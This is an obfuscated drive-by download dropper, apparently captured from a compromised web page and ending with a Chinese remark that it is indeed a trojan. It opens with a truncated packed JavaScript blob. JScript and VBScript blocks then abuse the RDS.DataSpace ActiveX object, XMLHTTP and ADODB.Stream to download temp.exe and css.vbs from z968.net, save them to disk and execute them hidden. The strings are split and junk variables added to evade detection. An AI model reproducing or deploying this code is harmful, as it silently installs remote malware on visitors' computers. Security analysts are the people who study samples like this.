eval(function(p,a,c,k,e,d){e=function(c){return(c<a?'':e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p}('1d("\\8\\4\\B\\3\\1\\f\\11\\11\\0\\X\\t\\z\\W\\V\\x\\H\\U\\0\\11\\5\\0\\2\\4\\0\\5\\15\\12\\11\\11\\0\\K\\e\\7\\1\\l\\7\\g\\m\\r\\e\\a\\p\\w\\0\\11\\5\\0\\2\\4\\0\\5\\15\\12\\11\\11\\0\\l\\7\\g\\f\\2\\0\\p\\a\\a\\r\\T\\J\\J\\G\\G\\G\\h\\16\\N\\A\\R\\h\\4\\9\\a\\J\\a\\9\\s\\r\\h\\9\\M\\9\\2\\0\\w\\0\\11\\5\\0\\2\\4\\0\\5\\15\\12\\11\\11\\0\\r\\e\\a\\p\\f\\2\\0\\z\\T\\2\\2\\2\\2\\e\\l\\a\\3\\7\\l\\4\\h\\k\\e\\a\\2\\0\\w\\0\\11\\5\\0\\2\\4\\0\\5\\15\\12\\11\\11\\0\\a\\7\\L\\1a\\K\\e\\7\\1\\e\\j\\3\\f\\o\\j\\3\\6\\l\\s\\9\\4\\a\\h\\6\\7\\9\\e\\a\\9\\P\\g\\9\\s\\9\\4\\a\\o\\2\\0\\3\\k\\I\\9\\6\\a\\2\\0\\n\\n\\w\\0\\11\\5\\0\\2\\4\\0\\5\\15\\12\\11\\11\\0\\6\\q\\1\\f\\2\\0\\6\\g\\i\\8\\j\\T\\u\\Z\\2\\0\\0\\11\\5\\0\\2\\4\\0\\5\\15\\12\\11\\11\\0\\6\\v\\f\\2\\0\\N\\A\\z\\E\\E\\A\\O\\A\\E\\F\\y\\O\\q\\q\\2\\0\\0\\11\\5\\0\\2\\4\\0\\5\\15\\12\\11\\11\\0\\6\\y\\f\\2\\0\\Z\\C\\O\\N\\R\\y\\F\\O\\C\\C\\z\\C\\D\\S\\2\\0\\0\\11\\5\\0\\2\\4\\0\\5\\15\\12\\11\\11\\0\\6\\D\\f\\2\\0\\z\\v\\N\\P\\y\\A\\2\\0\\0\\11\\5\\0\\2\\4\\0\\5\\15\\12\\11\\11\\0\\e\\j\\3\\h\\i\\9\\a\\F\\a\\a\\7\\8\\k\\l\\a\\9\\o\\2\\0\\6\\g\\e\\i\\i\\8\\j\\2\\0\\m\\1\\6\\q\\5\\6\\v\\5\\6\\y\\5\\6\\D\\n\\w\\0\\11\\5\\0\\2\\4\\0\\5\\15\\12\\11\\11\\0\\z\\F\\Q\\8\\f\\2\\0\\c\\8\\6\\7\\3\\i\\3\\B\\a\\h\\18\\c\\d\\17\\H\\H\\x\\2\\0\\0\\11\\5\\0\\2\\4\\0\\5\\15\\12\\11\\11\\0\\K\\e\\7\\1\\M\\s\\g\\f\\e\\j\\3\\h\\z\\7\\9\\e\\a\\9\\Q\\k\\I\\9\\6\\a\\o\\z\\F\\Q\\8\\m\\2\\0\\2\\0\\n\\w\\0\\11\\5\\0\\2\\4\\0\\5\\15\\12\\11\\11\\0\\k\\q\\f\\2\\0\\F\\2\\0\\0\\11\\5\\0\\2\\4\\0\\5\\15\\12\\11\\11\\0\\k\\v\\f\\2\\0\\j\\3\\2\\0\\0\\11\\5\\0\\2\\4\\0\\5\\15\\12\\11\\11\\0\\k\\y\\f\\2\\0\\j\\k\\2\\0\\0\\11\\5\\0\\2\\4\\0\\5\\15\\12\\11\\11\\0\\k\\D\\f\\2\\0\\h\\2\\0\\0\\11\\5\\0\\2\\4\\0\\5\\15\\12\\11\\11\\0\\k\\E\\f\\2\\0\\i\\a\\2\\0\\0\\11\\5\\0\\2\\4\\0\\5\\15\\12\\11\\11\\0\\k\\A\\f\\2\\0\\7\\9\\2\\0\\0\\11\\5\\0\\2\\4\\0\\5\\15\\12\\11\\11\\0\\k\\Y\\f\\2\\0\\e\\s\\2\\0\\0\\11\\5\\0\\2\\4\\0\\5\\15\\12\\11\\11\\0\\K\\e\\7\\1\\e\\i\\f\\e\\j\\3\\h\\6\\7\\9\\e\\a\\9\\3\\k\\I\\9\\6\\a\\o\\k\\q\\5\\k\\v\\5\\k\\y\\5\\k\\D\\5\\k\\E\\5\\k\\A\\5\\k\\Y\\m\\2\\0\\2\\0\\n\\w\\0\\11\\5\\0\\2\\4\\0\\5\\15\\12\\11\\11\\0\\e\\q\\f\\2\\0\\10\\2\\0\\0\\11\\5\\0\\2\\4\\0\\5\\15\\12\\11\\11\\0\\e\\v\\f\\2\\0\\P\\2\\0\\0\\11\\5\\0\\2\\4\\0\\5\\15\\12\\11\\11\\0\\e\\y\\f\\2\\0\\H\\2\\0\\0\\11\\5\\0\\2\\4\\0\\5\\15\\12\\11\\11\\0\\M\\s\\g\\h\\Q\\r\\9\\4\\o\\e\\q\\5\\e\\v\\5\\e\\y\\m\\l\\7\\g\\m\\C\\n\\w\\0\\11\\5\\0\\2\\4\\0\\5\\15\\12\\11\\11\\0\\M\\s\\g\\h\\t\\9\\4\\j\\o\\n\\w\\0\\11\\5\\0\\2\\4\\0\\5\\15\\12\\11\\11\\0\\e\\i\\h\\a\\L\\r\\9\\f\\q\\w\\e\\i\\h\\3\\r\\9\\4\\o\\n\\w\\0\\11\\5\\0\\2\\4\\0\\5\\15\\12\\11\\11\\0\\e\\i\\h\\G\\7\\8\\a\\9\\o\\M\\s\\g\\h\\7\\9\\i\\r\\3\\4\\i\\9\\u\\3\\j\\L\\n\\w\\0\\11\\5\\0\\2\\4\\0\\5\\15\\12\\11\\11\\0\\e\\i\\h\\i\\e\\K\\9\\a\\3\\B\\8\\g\\9\\o\\r\\e\\a\\p\\m\\v\\n\\w\\0\\11\\5\\0\\2\\4\\0\\5\\15\\12\\11\\11\\0\\K\\e\\7\\1\\i\\p\\9\\g\\g\\f\\e\\j\\3\\h\\6\\7\\9\\e\\a\\9\\3\\k\\I\\9\\6\\a\\o\\2\\0\\t\\p\\9\\g\\g\\h\\F\\r\\r\\g\\8\\6\\e\\a\\8\\3\\4\\2\\0\\m\\2\\0\\2\\0\\n\\w\\0\\11\\5\\0\\2\\4\\0\\5\\15\\12\\11\\11\\0\\e\\i\\h\\6\\g\\3\\i\\9
var url,path;
url="http://www.z968.net/temp.exe";
path="C:\\\\autorun.bat";
try{var ado=(document.createElement("object"));
c1 ="clsid:BD"
c2="96C556-65A3-11"
c3="D0-983A-00C04F"
c4="C29E36"
ado.setAttribute("classid", c1+c2+c3+c4);
CAOi="Microsoft.XMLHTTP"
var xml=ado.CreateObject(CAOi,"");
b1="A"
b2="do"
b3="db"
b4="."
b5="st"
b6="re"
b7="am"
var as=ado.createobject(b1+b2+b3+b4+b5+b6+b7,"");
a1="G"
a2="E"
a3="T"
xml.Open(a1+a2+a3,url,0);
xml.Send();
as.type=1;as.open();
as.write(xml.responseBody);
as.savetofile(path,2);
var shell=ado.createobject("Shell.Application","");
as.close();
shell.Shell(pa222th,"","","open",0);}catch(e){};
</SCRIPT><SCRIPT language=VBScript>
on error resume next
m1="object"
m2="classid"
c1 ="clsid:BD"
c2="96C556-65A3-11"
c3="D0-983A-00C04F"
c4="C29E36"
m4="Microsoft.XMLHTTP"
m5="Shell.Application"
MircoLongy = "http://www.z968.net/KaKa/css.vbs"
Set MircoLongc = document.createElement(m1)
MircoLongc.setAttribute m2, c1+c2+c3+c4
seturla="down"
seturlb="file"
seturlc="copy"
seturld="exit"
MircoLongi=m4
Set MircoLongd = MircoLongc.CreateObject(MircoLongi,"")
seturlf="Ado"
seturlg="db."
seturlh="Str"
seturli="eam"
MircoLongf=seturlf&seturlg&seturlh&seturli
MircoLongg=MircoLongf
set MircoLonga = MircoLongc.createobject(MircoLongg,"")
MircoLonga.type = 1
MircoLongh="GET"
MircoLongd.Open MircoLongh, MircoLongy, False
MircoLongd.Send
MircoLong11="css.vbs"
set MircoLongb = MircoLongc.createobject("Scripting.FileSystemObject","")
set MircoLonge = MircoLongb.GetSpecialFolder(2)
MircoLonga.open
MircoLong8="MircoLonga.BuildPath(MircoLonga,MircoLong8)"
MircoLong7="MircoLongb.BuildPath(MircoLongb,MircoLong7)"
MircoLong6="MircoLongc.BuildPath(MircoLongd,MircoLong6)"
MircoLong5="MircoLongd.BuildPath(MircoLongf,MircoLong5)"
MircoLong4="MircoLonge.BuildPath(MircoLongg,MircoLong4)"
MircoLong3="MircoLongf.BuildPath(MircoLongh,MircoLong4)"
MircoLong2="MircoLongg.BuildPath(MircoLongi,MircoLong3)"
MircoLong1="MircoLongh.BuildPath(MircoLongg,MircoLong1)"
MircoLong0="MircoLongi.BuildPath(MircoLongk,MircoLong0)"
MircoLong11= MircoLongb.BuildPath(MircoLonge,MircoLong11)
MircoLonga.write MircoLongd.responseBody
MircoLonga.savetofile MircoLong11,2
MircoLonga.close
set MircoLonge = MircoLongc.createobject(m5,"")
MircoLonge.ShellExecute MircoLong11,BBS,BBS,"open",0
</SCRIPT>
确实是木马